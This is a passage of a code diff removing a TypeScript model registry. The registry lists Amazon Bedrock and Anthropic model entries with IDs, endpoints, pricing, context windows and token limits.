- output: 0.1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-2-3b-instruct-v1:0": { - id: "meta.llama3-2-3b-instruct-v1:0", - name: "Llama 3.2 3B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-2-90b-instruct-v1:0": { - id: "meta.llama3-2-90b-instruct-v1:0", - name: "Llama 3.2 90B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.72, - output: 0.72, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-3-70b-instruct-v1:0": { - id: "meta.llama3-3-70b-instruct-v1:0", - name: "Llama 3.3 70B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.72, - output: 0.72, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama4-maverick-17b-instruct-v1:0": { - id: "meta.llama4-maverick-17b-instruct-v1:0", - name: "Llama 4 Maverick 17B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.24, - output: 0.97, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 16384, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama4-scout-17b-instruct-v1:0": { - id: "meta.llama4-scout-17b-instruct-v1:0", - name: "Llama 4 Scout 17B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.17, - output: 0.66, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 3500000, - maxTokens: 16384, - } satisfies Model<"bedrock-converse-stream">, - "minimax.minimax-m2": { - id: "minimax.minimax-m2", - name: "MiniMax M2", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204608, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "minimax.minimax-m2.1": { - id: "minimax.minimax-m2.1", - name: "MiniMax M2.1", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"bedrock-converse-stream">, - "minimax.minimax-m2.5": { - id: "minimax.minimax-m2.5", - name: "MiniMax M2.5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 98304, - } satisfies Model<"bedrock-converse-stream">, - "mistral.devstral-2-123b": { - id: "mistral.devstral-2-123b", - name: "Devstral 2 123B", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "mistral.magistral-small-2509": { - id: "mistral.magistral-small-2509", - name: "Magistral Small 1.2", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 40000, - } satisfies Model<"bedrock-converse-stream">, - "mistral.ministral-3-14b-instruct": { - id: "mistral.ministral-3-14b-instruct", - name: "Ministral 14B 3.0", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.2, - output: 0.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "mistral.ministral-3-3b-instruct": { - id: "mistral.ministral-3-3b-instruct", - name: "Ministral 3 3B", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "mistral.ministral-3-8b-instruct": { - id: "mistral.ministral-3-8b-instruct", - name: "Ministral 3 8B", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "mistral.mistral-large-3-675b-instruct": { - id: "mistral.mistral-large-3-675b-instruct", - name: "Mistral Large 3", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.5, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "mistral.pixtral-large-2502-v1:0": { - id: "mistral.pixtral-large-2502-v1:0", - name: "Pixtral Large (25.02)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "mistral.voxtral-mini-3b-2507": { - id: "mistral.voxtral-mini-3b-2507", - name: "Voxtral Mini 3B 2507", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.04, - output: 0.04, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "mistral.voxtral-small-24b-2507": { - id: "mistral.voxtral-small-24b-2507", - name: "Voxtral Small 24B 2507", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.35, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "moonshot.kimi-k2-thinking": { - id: "moonshot.kimi-k2-thinking", - name: "Kimi K2 Thinking", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"bedrock-converse-stream">, - "moonshotai.kimi-k2.5": { - id: "moonshotai.kimi-k2.5", - name: "Kimi K2.5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"bedrock-converse-stream">, - "nvidia.nemotron-nano-12b-v2": { - id: "nvidia.nemotron-nano-12b-v2", - name: "NVIDIA Nemotron Nano 12B v2 VL BF16", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.2, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "nvidia.nemotron-nano-3-30b": { - id: "nvidia.nemotron-nano-3-30b", - name: "NVIDIA Nemotron Nano 3 30B", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.06, - output: 0.24, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "nvidia.nemotron-nano-9b-v2": { - id: "nvidia.nemotron-nano-9b-v2", - name: "NVIDIA Nemotron Nano 9B v2", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.06, - output: 0.23, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "nvidia.nemotron-super-3-120b": { - id: "nvidia.nemotron-super-3-120b", - name: "NVIDIA Nemotron 3 Super 120B A12B", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.15, - output: 0.65, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"bedrock-converse-stream">, - "openai.gpt-oss-120b-1:0": { - id: "openai.gpt-oss-120b-1:0", - name: "gpt-oss-120b", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "openai.gpt-oss-20b-1:0": { - id: "openai.gpt-oss-20b-1:0", - name: "gpt-oss-20b", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.07, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "openai.gpt-oss-safeguard-120b": { - id: "openai.gpt-oss-safeguard-120b", - name: "GPT OSS Safeguard 120B", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "openai.gpt-oss-safeguard-20b": { - id: "openai.gpt-oss-safeguard-20b", - name: "GPT OSS Safeguard 20B", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.07, - output: 0.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "qwen.qwen3-235b-a22b-2507-v1:0": { - id: "qwen.qwen3-235b-a22b-2507-v1:0", - name: "Qwen3 235B A22B 2507", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.22, - output: 0.88, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"bedrock-converse-stream">, - "qwen.qwen3-32b-v1:0": { - id: "qwen.qwen3-32b-v1:0", - name: "Qwen3 32B (dense)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 16384, - maxTokens: 16384, - } satisfies Model<"bedrock-converse-stream">, - "qwen.qwen3-coder-30b-a3b-v1:0": { - id: "qwen.qwen3-coder-30b-a3b-v1:0", - name: "Qwen3 Coder 30B A3B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"bedrock-converse-stream">, - "qwen.qwen3-coder-480b-a35b-v1:0": { - id: "qwen.qwen3-coder-480b-a35b-v1:0", - name: "Qwen3 Coder 480B A35B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.22, - output: 1.8, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"bedrock-converse-stream">, - "qwen.qwen3-coder-next": { - id: "qwen.qwen3-coder-next", - name: "Qwen3 Coder Next", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.22, - output: 1.8, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"bedrock-converse-stream">, - "qwen.qwen3-next-80b-a3b": { - id: "qwen.qwen3-next-80b-a3b", - name: "Qwen/Qwen3-Next-80B-A3B-Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.14, - output: 1.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262000, - maxTokens: 262000, - } satisfies Model<"bedrock-converse-stream">, - "qwen.qwen3-vl-235b-a22b": { - id: "qwen.qwen3-vl-235b-a22b", - name: "Qwen/Qwen3-VL-235B-A22B-Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.3, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262000, - maxTokens: 262000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-haiku-4-5-20251001-v1:0": { - id: "us.anthropic.claude-haiku-4-5-20251001-v1:0", - name: "Claude Haiku 4.5 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.1, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-opus-4-1-20250805-v1:0": { - id: "us.anthropic.claude-opus-4-1-20250805-v1:0", - name: "Claude Opus 4.1 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-opus-4-20250514-v1:0": { - id: "us.anthropic.claude-opus-4-20250514-v1:0", - name: "Claude Opus 4 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-opus-4-5-20251101-v1:0": { - id: "us.anthropic.claude-opus-4-5-20251101-v1:0", - name: "Claude Opus 4.5 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-opus-4-6-v1": { - id: "us.anthropic.claude-opus-4-6-v1", - name: "Claude Opus 4.6 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-opus-4-7": { - id: "us.anthropic.claude-opus-4-7", - name: "Claude Opus 4.7 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-sonnet-4-20250514-v1:0": { - id: "us.anthropic.claude-sonnet-4-20250514-v1:0", - name: "Claude Sonnet 4 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-sonnet-4-5-20250929-v1:0": { - id: "us.anthropic.claude-sonnet-4-5-20250929-v1:0", - name: "Claude Sonnet 4.5 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "us.anthropic.claude-sonnet-4-6": { - id: "us.anthropic.claude-sonnet-4-6", - name: "Claude Sonnet 4.6 (US)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "writer.palmyra-x4-v1:0": { - id: "writer.palmyra-x4-v1:0", - name: "Palmyra X4", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 2.5, - output: 10, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 122880, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "writer.palmyra-x5-v1:0": { - id: "writer.palmyra-x5-v1:0", - name: "Palmyra X5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1040000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "zai.glm-4.7": { - id: "zai.glm-4.7", - name: "GLM-4.7", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"bedrock-converse-stream">, - "zai.glm-4.7-flash": { - id: "zai.glm-4.7-flash", - name: "GLM-4.7-Flash", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.07, - output: 0.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 131072, - } satisfies Model<"bedrock-converse-stream">, - "zai.glm-5": { - id: "zai.glm-5", - name: "GLM-5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 101376, - } satisfies Model<"bedrock-converse-stream">, - }, - anthropic: { - "claude-3-5-haiku-20241022": { - id: "claude-3-5-haiku-20241022", - name: "Claude Haiku 3.5", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.8, - output: 4, - cacheRead: 0.08, - cacheWrite: 1, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "claude-3-5-haiku-latest": { - id: "claude-3-5-haiku-latest", - name: "Claude Haiku 3.5 (latest)", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.8, - output: 4, - cacheRead: 0.08, - cacheWrite: 1, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "claude-3-5-sonnet-20240620": { - id: "claude-3-5-sonnet-20240620", - name: "Claude Sonnet 3.5", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "claude-3-5-sonnet-20241022": { - id: "claude-3-5-sonnet-20241022", - name: "Claude Sonnet 3.5 v2", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "claude-3-7-sonnet-20250219": { - id: "claude-3-7-sonnet-20250219", - name: "Claude Sonnet 3.7", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-3-haiku-20240307": { - id: "claude-3-haiku-20240307", - name: "Claude Haiku 3", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.25, - output: 1.25, - cacheRead: 0.03, - cacheWrite: 0.3, - }, - contextWindow: 200000, - maxTokens: 4096, - } satisfies Model<"anthropic-messages">, - "claude-3-opus-20240229": { - id: "claude-3-opus-20240229", - name: "Claude Opus 3", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 4096, - } satisfies Model<"anthropic-messages">, - "claude-3-sonnet-20240229": { - id: "claude-3-sonnet-20240229", - name: "Claude Sonnet 3", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 0.3, - }, - contextWindow: 200000, - maxTokens: 4096, - } satisfies Model<"anthropic-messages">, - "claude-haiku-4-5": { - id: "claude-haiku-4-5", - name: "Claude Haiku 4.5 (latest)", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.1, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-haiku-4-5-20251001": { - id: "claude-haiku-4-5-20251001", - name: "Claude Haiku 4.5", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.1, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-0": { - id: "claude-opus-4-0", - name: "Claude Opus 4 (latest)", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-1": { - id: "claude-opus-4-1", - name: "Claude Opus 4.1 (latest)", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-1-20250805": { - id: "claude-opus-4-1-20250805", - name: "Claude Opus 4.1", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-20250514": { - id: "claude-opus-4-20250514", - name: "Claude Opus 4", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-5": { - id: "claude-opus-4-5", - name: "Claude Opus 4.5 (latest)", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-5-20251101": { - id: "claude-opus-4-5-20251101", - name: "Claude Opus 4.5", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-6": { - id: "claude-opus-4-6", - name: "Claude Opus 4.6", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-7": { - id: "claude-opus-4-7", - name: "Claude Opus 4.7", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4-0": { - id: "claude-sonnet-4-0", - name: "Claude Sonnet 4 (latest)", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4-20250514": { - id: "claude-sonnet-4-20250514", - name: "Claude Sonnet 4", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - 